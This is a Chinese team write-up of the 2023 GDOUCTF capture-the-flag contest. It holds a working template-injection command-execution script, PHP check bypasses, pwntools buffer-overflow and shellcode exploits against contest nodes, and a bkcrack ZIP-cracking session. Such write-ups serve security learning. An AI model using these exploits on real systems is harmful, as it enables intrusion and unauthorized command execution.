您现在的位置是:首页 >技术教程 >2023 广东海洋大学 GDOUCTF Writeup By AheadSec网站首页技术教程

2023 广东海洋大学 GDOUCTF Writeup By AheadSec

末初mochu7 2023-05-16 14:33:33
简介2023 广东海洋大学 GDOUCTF Writeup By AheadSec

感谢战队的每位同学,辛苦了~
Web: Naclmonkey777peakaboo
Pwn: zsNick
Crypto: Nacl
Reverse: kcldah
Misc: mochu7Nacl

最终成绩第17名:
image.png

Web

hate eat snake

打开界面看到是个贪吃蛇游戏,拿flag的条件是坚持60秒,玩了一下可以发现蛇会越来越快,那么肯定有个参数控制蛇的速度
然后打开右键检查查看源代码,可以发现确实存在控制蛇速度的参数:speed

window.onload = function() {
    new Snake('eatSnake',10,false);
}

var Snake = function(snakeId, speed, isAuto) {
    this.width = arguments[3] || 35;
    this.height = arguments[4] || 35;
    this.snakeId = snakeId || 'snake';
    this.Grid = [];
    this.snakeGrid = [];
    this.foodGrid = [];
    this.derectkey = 39;
    this.goX = 0;
    this.goY = 0;
    this.speed = this.oldSpeed = speed || 10;
    this.stop = true,
    this.snakeTimer = null;
    this.isAuto = isAuto || false;
    this.init();

    this.timeCounter = 0;
    this.startTime = 0;
};

这里可以发现创建蛇的时候给了一个初始速度10,咋可以改掉,自己随机设置

this.speed = this.oldSpeed = speed ||10;这里也可以改掉,自己随便改

然后再Ctrl + F查找一下还有没有控制speed的地方

然后可以在 main: function() { this.speed++;}发现自增,然后干掉自增,

然后等着玩蛇就会自动出flag,虽然可以改那个出flag的时间,但一时半会没找到就算了

EZ WEB

打开题目进入主页,右键查看源代码可以发现有注释:</src>

image.png

然后访问/src目录

image.png

使用PUT的方式访问路径:/super-secret-route-nobody-will-guess就可以获取flag

image.png

受不了一点

打开题目可以看到一堆代码

<?php
  error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
  $b=$_POST['ctf'];
  $a=$_POST['gdou'];
  if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
    if(isset($_COOKIE['cookie'])){
      if ($_COOKIE['cookie']=='j0k3r'){
        if(isset($_GET['aaa']) && isset($_GET['bbb'])){
          $aaa=$_GET['aaa'];
          $bbb=$_GET['bbb'];
          if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
            $give = 'cancanwordflag';
            $get ='hacker!';
            if(!isset($_GET['flag']) && !isset($_POST['flag'])){
              die($give);
            }
            if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
              die($get);
            }
            foreach ($_POST as $key => $value) {
              $$key = $value;
            }
            foreach ($_GET as $key => $value) {
              $$key = $$value;
            }
            echo $f1ag;
          }else{
            echo "洗洗睡吧";
          }
        }else{
          echo "行不行啊细狗";
        }
      }
    }
    else {
      echo '菜菜';
    }
  }else{
    echo "就这?";
  }
}else{
  echo "别来沾边";
}
?>
别来沾边

一步一步分析,首先需要POST传入参数:ctf、gdou

然后需要过一个md5强碰撞

if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){

}

绕过方法很简单,以数组方法传入gdou和ctf的值
后面md5因为无法解析数组内容,然后会读入一个字符串array,然后两个参数md5值就相等了

接着还需要再请求头中添加cookie参数,它的值为:j0k3r

接着需要传入参数:aaa、bbb,然后绕过以下代码

if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
}

这个是字符串的弱比较,因为== 在进行比较的时候,会先将字符串类型转化成相同,再比较
比如如下案例

image.png

所以参数的值就可以写:aaa=114514,bbb=114514a

最后这个串代码绕过方式很简单,POST、GET各传入一个参数就可以了,看着那么多判断,但实际上只要传入了参数就能过,有没有值都不重要

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
		die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
		die($get);
}

最终结果

image.png

<ez_ze>

模板注入
参考:https://blog.csdn.net/weixin_52635170/article/details/129856818
附脚本,需要修改url地址

from typing import List

import requests

url = "http://node6.anna.nssctf.cn:28298/get_flag"

def build_number(num: int) -> str:
	result: List[str] = []
	index: int = 0
	while num > 0:
		n: int = num % 10
		result.append(f"({num2var(n)}{'*ten'*index})")
		num //= 10
		index += 1
	return "+".join(result)


num2var_dict = {
	0: "zero",
	1: "one",
	2: "two",
	3: "three",
	4: "four",
	5: "five",
	6: "six",
	7: "seven",
	8: "eight",
	9: "nine"
}


def num2var(num: int) -> str:
	if abs(num) >= 10:
		raise Exception("no way")
	return num2var_dict[num]


def build_payload(command: str) -> str:
	return """{% set one=(a,)|length %}
{% set zero=one-one %}
{% set two=one+one %}
{% set three=one+two %}
{% set four=two*two %}
{% set five=three+two %}
{% set six=three*two %}
{% set seven=one+six %}
{% set eight=four*two %}
{% set nine=one+eight %}
{% set ten=five*two %}
{% set pops=dict(p=a,op=a)|join %}
{% set lo=(x|reject|string|list)|attr(pops)(""" + build_number(24) + """)%}
{% set init=(lo,lo,dict(ini=a,t=a)|join,lo,lo)|join %}
{% set cc=(lo,lo,dict(glo=a,bals=a)|join,lo,lo)|join %}
{% set ccc=(lo,lo,dict(get=a,item=a)|join,lo,lo)|join %}
{% set cccc=(lo,lo,dict(buil=a,tins=a)|join,lo,lo)|join %}
{% set evas=dict(ev=a,al=a)|join %}
{% set chs=dict(ch=a,r=a)|join %}
{% set chr=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(chs)%}
{% set eval=a|attr(init)|attr(cc)|attr(ccc)(cccc)|attr(ccc)(evas) %}
{% print(eval((""" + ",".join([f"chr({build_number(ord(c))})" for c in f"__import__('os').popen('{command}').read()"]) + """)|join)) %}"""


def run(command: str) -> str:
	payload = build_payload(command)
	response = requests.post(url, data={"name": payload})
	print(payload)
	print(response.text)
	#return re.findall(f"h3>(.*?)</h3", response.text, re.S)[0].strip()

c = 'cat /flag'
print(run(c))

问卷来力!

无法复制,F12源码查看image.png

Pwn

EASY PWN

1.canary关闭 2.存在get函数溢出漏洞 3.程序提供了print_flag函数给flag
综合上述3点 符合ROP中的ret2text攻击手法的前提条件

from pwn import *
context.arch='amd64'

# 连接远程
io = remote("node5.anna.nssctf.cn", 28958)

# 获取程序中的print_flag函数地址
elf = ELF("./easypwn")
print_flag = elf.sym['print_flag']

#get函数溢出 进行ret2text攻击
payload = b'a'*(0x1f+8)+p64(print_flag)

#发送攻击
io.sendafter('Password:',payload)

#接收flag
io.recvall()
io.interactive()

#补充: 不知为何 用pwntools连接会有问题    直接在nc链接程序的时候 把paylaod内容手动输入

ezshellcode

1.写入shellcode
2.栈溢出跳转执行 写入的shellcode

# coding:utf-8
from pwn import *


context.arch='amd64'

# 连接远程
io = remote("node5.anna.nssctf.cn", 28010)

# 输入长度有限 pwntools生成的shellcode不够写入   找了个短的shellcode
shellcode=b'x48x31xC0x6Ax3Bx58x48x31xFFx48xBFx2Fx62x69x6Ex2Fx73x68x00x57x54x5Fx48x31xF6x48x31xD2x0Fx05'
io.sendafter("Please.
",shellcode)

# ret2text:跳转执行上一步写入的shellcode
payload = b'a'*(0xA+8)+p64(0x6010A0)
io.sendafter("start!
",payload)
io.interactive()

真男人下120层

题目采取了srand 和 rand函数 制造随机数
可以利用ctypes库 输入相同的seed种子值 就可以获得和题目相同的随机数了
打满120次随机数猜测 就可以得到程序给出的flag

from pwn import *
from ctypes import *  

context.arch='amd64'

# 连接远程
io = remote("node4.anna.nssctf.cn", 28850)
# 加载rand函数的所在函数库
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')

#模仿程序 设置同样的srand函数
libc.srand(libc.time(0))
libc.srand((libc.rand()% 3) - 0x5AB9D26E)

#猜对120次随机数  程序会给出flag
for i in range(120):
    io.sendlineafter("Floor ",str((libc.rand()%4)+1))

io.interactive()

RANDOM

开启了sandbox(): 1.shellcode不可以提权 2.只允许open write read功能
3.shellcode的写入长度受限
综合上述3点 运用orw_shellcode 让shellcode读取输出flag

1.用ctypes获取 linux生成的随机函数 跳转vulnerable函数
2.开启了沙箱保护 不能shellcode提权 只能orw_shellcode读取flag
3.由于写入长度不够 分两次写 jmp rsp劫持返回地址 继续向下运行
4.data_addr是用pwndbg的vmmap指令 找到的可读可写可执行 地址段落
5.jmp rsp指令的地址 程序里的haha()函数中有给出

from pwn import *
from ctypes import *  

context.arch='amd64'

# 连接远程
io = remote("node6.anna.nssctf.cn",28969)
# 加载rand函数的所在函数库
libc = cdll.LoadLibrary('/lib/x86_64-linux-gnu/libc.so.6')
libc.srand(libc.time(0))#设置srand函数

jmp_sp = 0x40094E
data_addr = 0x601000

#通过随机数验证  程序会跳转到vulnerable函数
io.sendlineafter("num:",str(libc.rand()%50))

"""
利用 jmp_sp + asm 的攻击方式  让sp指针跳回变量地址 执行shellcode: 
    在data_addr 0x601000 写入orw_shellcode后
    并跳转执行data_addr 0x12300的orw_shellcode
"""
payload=asm(shellcraft.read(0,data_addr,0x100))#调用read函数 在data_addr 0x601000处写入 orw_shellcode内容
payload+=asm('mov rax,0x601000;call rax')#并且call ax寄存器 调用执行 data_addr 0x601000处的orw_shellcode
payload=payload.ljust(0x28,b'x00')#打满变量空间 和 rbp寄存器的字节
payload+=p64(jmp_sp)#返回地址写成jmp_esp,继续运行当前sp后续指令 填写别的返回地址 就无法控制程序后面的执行流程了
payload+=asm('sub rsp,0x30;jmp rsp')#此时sp已经离shellcode地址偏移0x30,这里把sp挪回到shellcode地址 并跳转到shellcode
io.sendlineafter("your door
",payload)

"""
orw_shellcode执行的内容:
打开本地的flag文件 
把flag文件内容写入到 data_addr+0x100
把输出data_addr+0x100的flag文件内容
"""
orw_shellcode = shellcraft.open("./flag")#打开本地的flag文件
orw_shellcode += shellcraft.read(3, data_addr+0x100, 0x50)#文件描述符3:其它打开的文件 flag内容写入到data_addr+0x100
orw_shellcode += shellcraft.write(1, data_addr+0x100,0x50)#文件描述符1:输出  地址data_addr+0x100存储的flag内容
io.send(asm(orw_shellcode))

io.interactive()

Crypto

Absolute_Baby_Encrytpion

let messagetoEncrypt = prompt("Enter a string: ").toLowerCase();
let charArray = messagetoEncrypt.split("");
let encryptedString = "";
let hasInvalidCharacter = false;

for (let i = 0; i < charArray.length; i++) {
    switch (charArray[i]) {
        case 'a':
            encryptedString = encryptedString.concat('!')
            break;
        case 'b':
            encryptedString = encryptedString.concat('1')
            break;
        case 'c':
            encryptedString = encryptedString.concat(')')
            break;
        case 'd':
            encryptedString = encryptedString.concat('v')
            break;
        case 'e':
            encryptedString = encryptedString.concat('m')
            break;
        case 'f':
            encryptedString = encryptedString.concat('+')
            break;
        case 'g':
            encryptedString = encryptedString.concat('q')
            break;
        case 'h':
            encryptedString = encryptedString.concat('0')
            break;
        case 'i':
            encryptedString = encryptedString.concat('c')
            break;
        case 'j':
            encryptedString = encryptedString.concat(']')
            break;
        case 'k':
            encryptedString = encryptedString.concat('(')
            break;
        case 'l':
            encryptedString = encryptedString.concat('}')
            break;
        case 'm':
            encryptedString = encryptedString.concat('[')
            break;
        case 'n':
            encryptedString = encryptedString.concat('8')
            break;
        case 'o':
            encryptedString = encryptedString.concat('5')
            break;
        case 'p':
            encryptedString = encryptedString.concat('$')
            break;
        case 'q':
            encryptedString = encryptedString.concat('*')
            break;
        case 'r':
            encryptedString = encryptedString.concat('i')
            break;
        case 's':
            encryptedString = encryptedString.concat('>')
            break;
        case 't':
            encryptedString = encryptedString.concat('#')
            break;
        case 'u':
            encryptedString = encryptedString.concat('<')
            break;
        case 'v':
            encryptedString = encryptedString.concat('?')
            break;
        case 'w':
            encryptedString = encryptedString.concat('o')
            break;
        case 'x':
            encryptedString = encryptedString.concat('^')
            break;
        case 'y':
            encryptedString = encryptedString.concat('-')
            break;
        case 'z':
            encryptedString = encryptedString.concat('_')
            break;
        case '0':
            encryptedString = encryptedString.concat('h')
            break;
        case '1':
            encryptedString = encryptedString.concat('w')
            break;
        case '2':
            encryptedString = encryptedString.concat('e')
            break;
        case '3':
            encryptedString = encryptedString.concat('9')
            break;
        case '4':
            encryptedString = encryptedString.concat('g')
            break;
        case '5':
            encryptedString = encryptedString.concat('z')
            break;
        case '6':
            encryptedString = encryptedString.concat('d')
            break;
        case '7':
            encryptedString = encryptedString.concat('~')
            break;
        case '8':
            encryptedString = encryptedString.concat('=')
            break;
        case '9':
            encryptedString = encryptedString.concat('x')
            break;
        case '!':
            encryptedString = encryptedString.concat('j')
            break;
        case '@':
            encryptedString = encryptedString.concat(':')
            break;
        case '#':
            encryptedString = encryptedString.concat('4')
            break;
        case '$':
            encryptedString = encryptedString.concat('b')
            break;
        case '%':
            encryptedString = encryptedString.concat('`')
            break;
        case '^':
            encryptedString = encryptedString.concat('l')
            break;
        case '&':
            encryptedString = encryptedString.concat('3')
            break;
        case '*':
            encryptedString = encryptedString.concat('t')
            break;
        case '(':
            encryptedString = encryptedString.concat('6')
            break;
        case ')':
            encryptedString = encryptedString.concat('s')
            break;
        case '_':
            encryptedString = encryptedString.concat('n')
            break;
        case '+':
            encryptedString = encryptedString.concat(';')
            break;

        case '-':
            encryptedString = encryptedString.concat(''')
            break;
        case '=':
            encryptedString = encryptedString.concat('r')
            break;
        case '`':
            encryptedString = encryptedString.concat('k')
            break;
        case '~':
            encryptedString = encryptedString.concat('p')
            break;
        case '{':
            encryptedString = encryptedString.concat('"')
            break;
        case '}':
            encryptedString = encryptedString.concat('&')
            break;
        case '[':
            encryptedString = encryptedString.concat('/')
            break;
        case ']':
            encryptedString = encryptedString.concat('\')
            break;
        case '|':
            encryptedString = encryptedString.concat('2')
            break;
        case ':':
            encryptedString = encryptedString.concat('.')
            break;
        case ';':
            encryptedString = encryptedString.concat('%')
            break;
        case '"':
            encryptedString = encryptedString.concat('|')
            break;
        case ''':
            encryptedString = encryptedString.concat(',')
            break;
        case '<':
            encryptedString = encryptedString.concat('@')
            break;
        case '>':
            encryptedString = encryptedString.concat('{')
            break;
        case ',':
            encryptedString = encryptedString.concat('u')
            break;
        case '.':
            encryptedString = encryptedString.concat('7')
            break;
        case '?':
            encryptedString = encryptedString.concat('y')
            break;
        case '/':
            encryptedString = encryptedString.concat('a')
            break;

        default:
            hasInvalidCharacter = true;
    }
}

if (hasInvalidCharacter) {
    encryptedString = "Invalid String!";
} else {
    console.log(`Your encoded string is ${encryptedString}`);
}

就是根据这个js脚本反推,然后写在字典里头

import base64
# +}!q")hiim)#}-nvm)i-$#mvn#0mnbm)im#n+}!qnm8)i-$#mvnoc#0nz<$9inm!>-n1:1-nm8)i-$~c58n!}qhij#0[noic##m8nc8n?!8c}w!n]>&
coded_string="K30hcSIpaGlpbSkjfS1udm0paS0kI212biMwbW5ibSlpbSNuK30hcW5tOClpLSQjbXZub2MjMG56PCQ5aW5tIT4tbjE6MS1ubTgpaS0kfmM1OG4hfXFoaWojMFtub2ljIyNtOG5jOG4/IThjfXchbl0+Jg=="
encrypted_string = base64.b64decode(coded_string).decode('utf-8')
dict = {'a':'!','b':'1','c':')','d':'v','e':'m','f':'+','g':'q','h':'0','i':'c','j':']','k':'(','l':'}','m':'[','n':'8','o':'5','p':'$','q':'*','r':'i','s':'>','t':'#','u':'<','v':'?','w':'o','x':'^','y':'-','z':'_','0':'h','1':'w','2':'e','3':'9','4':'g','5':'z','6':'d','7':'~','8':'=','9':'x','!':'j','@':':','#':'4','$':'b','%':'`','^':'l','&':'3','*':'t','(':'6',')':'s','_':'n','+':';','-':''','=':'r','`':'k','~':'p','{':'"','}':'&','[':'/',']':'\','|':'2',':':'.',';':'%','"':'|',''':',','<':'@','>':'{',',':'u','.':'7','?':'y','/':'a'}
inverted_dict = {value: key for key, value in dict.items()}
result = ''
for char in encrypted_string:
    if char in inverted_dict:
        result += inverted_dict[char]
    else:
        result += char
print(result)

image.png

Reverse

Check_Your_Luck

c++代码直接使用了一个方程组,使用python的sympy模块直接求解

// 使用多项式
void flag_checker(int v,int w, int x, int y, int z){
    if ((v * 23 + w * -32 + x * 98 + y * 55 + z * 90 == 333322) &&
        (v * 123 + w * -322 + x * 68 + y * 67 + z * 32 == 707724) &&
        (v * 266 + w * -34 + x * 43 + y * 8 + z * 32 == 1272529) &&
        (v * 343 + w * -352 + x * 58 + y * 65 + z * 5 == 1672457) &&
        (v * 231 + w * -321 + x * 938 + y * 555 + z * 970 == 3372367)){
        cout << "Congratulations, Here is your flag:
";
        cout << "flag{" << v << "_" << w << "_" << x << "_" << y << "_" << z << "}" << endl;
    }
    else{

        
        cout << "
Seems your luck is not in favor right now!
Better luck next time!" << endl;
    }

}

没啥操作,脚本一跑出结果

from sympy.solvers import solve
from sympy import Symbol

print(chr(114))

# 定义变量
v = Symbol('v')
w = Symbol('w')
x = Symbol('x')
y = Symbol('y')
z = Symbol('z')

# 定义方程组
eq1 = v*23 + w*(-32) + x*98 + y*55 + z*90 - 333322
eq2 = v*123 + w*(-322) + x*68 + y*67 + z*32 - 707724
eq3 = v*266 + w*(-34) + x*43 + y*8 + z*32 - 1272529
eq4 = v*343 + w*(-352) + x*58 + y*65 + z*5 - 1672457
eq5 = v*231 + w*(-321) + x*938 + y*555 + z*970 - 3372367

# 求解方程组
sol = solve((eq1, eq2, eq3, eq4, eq5), (v, w, x, y, z))

# 输出结果
print(sol)

doublegame

使用exeinfope查看,64位,无壳

image-20230416180857044.png

运行,发现是个贪吃蛇,

image-20230416181738250.png

直接打开ida,使用 shift + f12,搜索 GAME OVER,发现有很多,一个一个的看

image-20230416181839594.png

直接 按双击,然后点击tab找到调用处,然后开始代码分析

image-20230416181917560.png

分析后有用的代码就是中间的代码块

if ( dword_140021E60[42 * a2 + 42 * dword_140020178 + a1 + dword_140020174] == 2 )
  {
    ++dword_140020170;
    dword_140022CD0 += 10;
    sub_1400111A9(7i64);
    sub_14001130C(0i64, 22i64);
    sub_1400111F9(&unk_14001D220);
    sub_14001105A();
  }
  else if ( dword_140021E60[42 * a2 + 42 * dword_140020178 + a1 + dword_140020174] == 1
         || dword_140021E60[42 * a2 + 42 * dword_140020178 + a1 + dword_140020174] == 4 )
  {
    Sleep(0x3E8u);
    system("cls");
    sub_1400111A9(7i64);
    sub_14001130C(28i64, 8i64);
      
     // 分数要大于100
    if ( dword_140022CD0 <= 100 )
    {
      if ( dword_140022CD0 <= dword_14002017C )
        sub_1400111F9(&unk_14001D280);
      else
        sub_1400111F9(&unk_14001D0B8);
    }
    else
    {
      sub_1400111DB();
        // 分数大于 13371337时进入第二关
      if ( dword_140022CD0 > 13371337 )
          // 游戏第二关
        sub_14001136B();
      sub_1400110E6();
    }
    sub_14001130C(28i64, 11i64);
    sub_1400111F9("GAME OVER");
    while ( 1 )
    {
      while ( 1 )
      {
        sub_14001130C(28i64, 14i64);
        sub_1400111F9(&unk_14001D320);
        sub_1400110BE("%c", v7);
        if ( v7[0] != 121 && v7[0] != 89 )
          break;
        system("cls");
        sub_1400112EE();
      }
      if ( v7[0] == 110 || v7[0] == 78 )
      {
        sub_14001130C(28i64, 16i64);
        exit(0);
      }
      sub_14001130C(28i64, 16i64);
      sub_1400111F9(&unk_14001D3A0);
    }
  }

一直在函数名那里按 x , 找到这个代码的调用处,动调得知贪吃蛇每走一步,都会去判断上面代码的if,需要通过贪吃蛇才能进入第二关

image-20230416182302223.png

打开第二关,可以看到是个迷宫题

image-20230416182747723.png

代码分析

printf("path
");
v23 = 0;
v24 = 0;
// 当前所在纵坐标
v15 = 15;
// 当前所在横坐标
v16 = 0;
// 出口点纵坐标
v17 = 7;
// 出口点横坐标
v18 = 20;
// 画迷宫
for ( j = 0; j <= 20; ++j )
    puts(&Buffer[22 * j]);
sub_1400111F9("Please to save the cat!
");
// 循环判断是否出了迷宫
  while ( v15 != v17 || v16 != v18 )
  {
      // 获取当前输入的字符
    v22 = getchar();
    switch ( v22 )
    {
      case 's':
        if ( Buffer[22 * v15 + 22 + v16] != 48 )
        {
          Buffer[22 * v15++ + v16] = 32;
          Buffer[22 * v15 + v16] = 64;
        }
        break;
      case 'w':
        if ( Buffer[22 * v15 - 22 + v16] != 48 )
        {
          Buffer[22 * v15-- + v16] = 32;
          Buffer[22 * v15 + v16] = 64;
        }
        break;
      case 'a':
        if ( Buffer[22 * v15 - 1 + v16] != 48 )
        {
            // 如果碰到了‘猫’(*)所在
          if ( Buffer[22 * v15 - 1 + v16] == 42 )
            v7[20] = 48;
          Buffer[22 * v15 + v16--] = 32;
          Buffer[22 * v15 + v16] = 64;
        }
        break;
      default:
        if ( v22 == 100 && Buffer[22 * v15 + 1 + v16] != 48 )
        {
          Buffer[22 * v15 + v16++] = 32;
          Buffer[22 * v15 + v16] = 64;
        }
        break;
    }
      // 删除迷宫
    system("cls");
    for ( j = 0; j <= 20; ++j )
      puts(&Buffer[22 * j]);
    puts(&v19[25 * v23]);
      // 如果碰到了猫
    if ( v7[20] == 48 )
    {
        // 使用第一关的分数与 7620异或
      v24 = sub_140011433(0);
        // 判断输入的第一关的分数是否正确
      if ( v24 == 13376013 )
      {
          // 重新初始化当前所在位置以及将迷宫中 ‘猫’的位置变为 ‘ ’
        v23 = 1;
        v7[20] = 32;
        Buffer[22 * v15 + v16] = 32;
        v15 = 15;
        v16 = 0;
        v11[0] = 64;
        ++v23;
      }
      else
      {
        sub_1400111F9("error");
      }
    }
  }

分析完后,可以知道第一关需要的分数是 13371337
所以直接使用 ida patch掉第一关,使用 tab进入对应的汇编代码,然后将 跳转改为相反的即可,jle -> jge

image-20230416183758226.png

修改完后得到迷宫

000000000000000000000
0 0 0 0     0     0 0
0 0 0 00000 00000 0 0
0 0               0 0
0 000 000 0 000 0 0 0
0 0     0 0 0   0 0 0
0 0 0 00000 000 000 0
0 0 0     0   0 0    
0 000 0 0 000 0 0 0 0
0     0 0 0 0 0 0 0 0
0 00000 000 000 0 0 0
0     0       0   0 0
000 0 0 0 000 0 0 0 0
0 0 0 0 0 0 * 0 0 0 0
0 0000000 0 000 00000
@   0   0 0         0
0 0 0 0 0 00000000000
0 0 0 0             0
000 0 00000 0 000 000
0         0 0   0   0
000000000000000000000

走的路段为: dddssssddwwwwddssddwwwwwwddddssaassddddwwwwddwwwwddd
结束后根据提示: HZCTF{md5(path)+score}
使用在线 md5加密网站,得到flag: nssctf{811173b05afff098b4e0757962127eac13371337}

Misc

签到

长亭珂兰寺公众号回复签到
image.png

Matryoshka

压缩包套娃,密码文件给了,是数字英文单词和加、减、乘、取模的,替换下,然后运算下得到密码
注意:这里密码文件中的运算逻辑比较扯,是不按照常规数学逻辑先乘除再加减,而是固定从左往右运算
然后脚本简单处理即可:

import zipfile
import os
import re

def getPassword(next_pwd_file):
	with open(next_pwd_file, "r") as f:
		data = f.read().strip()
	replace_list = [["zero", "0"], ["one", "1"], ["two", "2"], ["three", "3"],
					["four", "4"], ["five", "5"], ["six", "6"], ["seven", "7"],
					["eight", "8"], ["nine", "9"], ["plus", "+"], ["times", "*"],
					["minus", "-"], ["mod", "%"]]
	for rep_list in replace_list:
		data = data.replace(rep_list[0], rep_list[1])

	nums = re.findall(r"d{1,}", data)
	valid_nums = []
	for num in nums:
		valid_nums.append(str(int(num)))
	for i in range(len(nums)):
		data = data.replace(nums[i], valid_nums[i])
	
	list1 = ["+", "-", "*", "%"]
	count_res = 0
	for l in list1:
		counts = data.count(l)
		count_res += counts
	data = "(" * count_res + data
	
	replace_list_3 = [["+", ")+"], ["-", ")-"], ["*", ")*"], ["%", ")%"]]
	for rep_list in replace_list_3:
		data = data.replace(rep_list[0], rep_list[1])
	password = abs(eval(data))
	return password

def decompressZip(next_zip, password, next_pwd_file):
	zf = zipfile.ZipFile(next_zip, "r")
	name_list = zf.namelist()
	zf.extractall(path='.', pwd=password.encode('utf-8'))
	zf.close() # 关闭压缩包文件句柄
	os.remove(next_pwd_file)
	os.remove(next_zip)
	next_pwd_file, next_zip = name_list[0], name_list[1]
	return next_pwd_file, next_zip

if __name__ == '__main__':
	next_pwd_file = "password1000.txt"
	next_zip = "Matryoshka1000.zip"
	while True:
		try:
			password = str(getPassword(next_pwd_file))
			next_pwd_file, next_zip = decompressZip(next_zip, password, next_pwd_file)
		except Exception as ex:
			print(ex)
			break

刚开始比较慢,越到后面,压缩包越小,解压速度越快。稍微等一下,没多久的
image.png

pixelart

图中放了一个缩略图,PS量一下,每个像素宽高都距离12px

from PIL import Image

img = Image.open('arcaea.png')
w = img.width
h = img.height
img_obj = Image.new("RGB",(w//12,h//12))

for x in range(w//12):
    for y in range(h//12):
        (r,g,b)=img.getpixel((x*12,y*12))
        img_obj.putpixel((x,y),(r,g,b))

img_obj.save('ok.png')

得到的图片正确
image.png
真的flag在LSB中可以看到
image.png

NSSCTF{J3st_2_cats_battling}

getnopwd

明文攻击
image.png

echo -n "00004D3C2B1A01000000FFFFFFFFFFFFFFFF" | xxd -r -ps > pcap_plain
PS D:ToolsMiscbkcrack-1.5.0-win64> .bkcrack.exe -C .getnopwd.zip -c final.pcapng -p .pcap_plain -o 6
bkcrack 1.5.0 - 2022-07-07
[14:28:30] Z reduction using 10 bytes of known plaintext
100.0 % (10 / 10)
[14:28:30] Attack on 648601 Z values at index 13
Keys: 3290bc3d 27d2d1d8 dfd4c1ae
9.1 % (58992 / 648601)
[14:29:18] Keys
3290bc3d 27d2d1d8 dfd4c1ae
PS D:ToolsMiscbkcrack-1.5.0-win64> .bkcrack.exe -C .getnopwd.zip -c final.pcapng -k 3290bc3d 27d2d1d8 dfd4c1ae -d final.pcapng
bkcrack 1.5.0 - 2022-07-07
[14:38:05] Writing deciphered data final.pcapng (maybe compressed)
Wrote deciphered data.
PS D:ToolsMiscbkcrack-1.5.0-win64> .bkcrack.exe -C .getnopwd.zip -c DO_NO_BE_MISDIRECTED -k 3290bc3d 27d2d1d8 dfd4c1ae -d DO_NO_BE_MISDIRECTED
bkcrack 1.5.0 - 2022-07-07
[14:38:43] Writing deciphered data DO_NO_BE_MISDIRECTED (maybe compressed)
Wrote deciphered data.

识别一下是啥玩意

root@mochu7-pc:/mnt/d/Tools/Misc/bkcrack-1.5.0-win64# file DO_NO_BE_MISDIRECTED
DO_NO_BE_MISDIRECTED: Zip archive data, made by v4.5, extract using at least v2.0, last modified Mon Jan 26 00:44:48 1970, uncompressed size 1312, method=deflate

修改后缀为.zip,解压,看起来是docx文件,直接查看document.xml
image.png
一开始也不知道是什么流量,查了下这两个标识
image.png
发现是数位板流量,找到了一道同样是数位板流量的题目:https://blogs.tunelko.com/2017/02/05/bitsctf-tom-and-jerry-50-points/
首先提取数位板的数据

tshark -r final.pcapng -T fields -Y "usb.transfer_type == 0x01 and frame.len==37" -e "usb.capdata" > usbdata.txt

然后根据上面的链接,知道该数据的存储格式(小端存储)

Example: 
02:f0:50:1d:72:1a:00:00:12
Bytes:
02:f0: -- Header
50:1d: -- X
72:1a: -- Y
00:00: -- Pressure
12 -- Suffix
with open('usbdata.txt', 'r') as f:
	lines = f.readlines()
	for line in lines:
		line = line.strip()
		x = line[4:8][2:] + line[4:8][:2]
		y = line[8:12][2:] + line[8:12][:2]
		z = line[12:16][2:]
		print(int(x, 16), int(y, 16), int(z, 16), sep=" ")

gnuplot直接画
image.png
PS垂直翻转一下
image.png

NSSCTF{m1nd_3v3rything_y0u_see}
风语者!平时喜欢研究各种技术,目前在从事后端开发工作,热爱生活、热爱工作。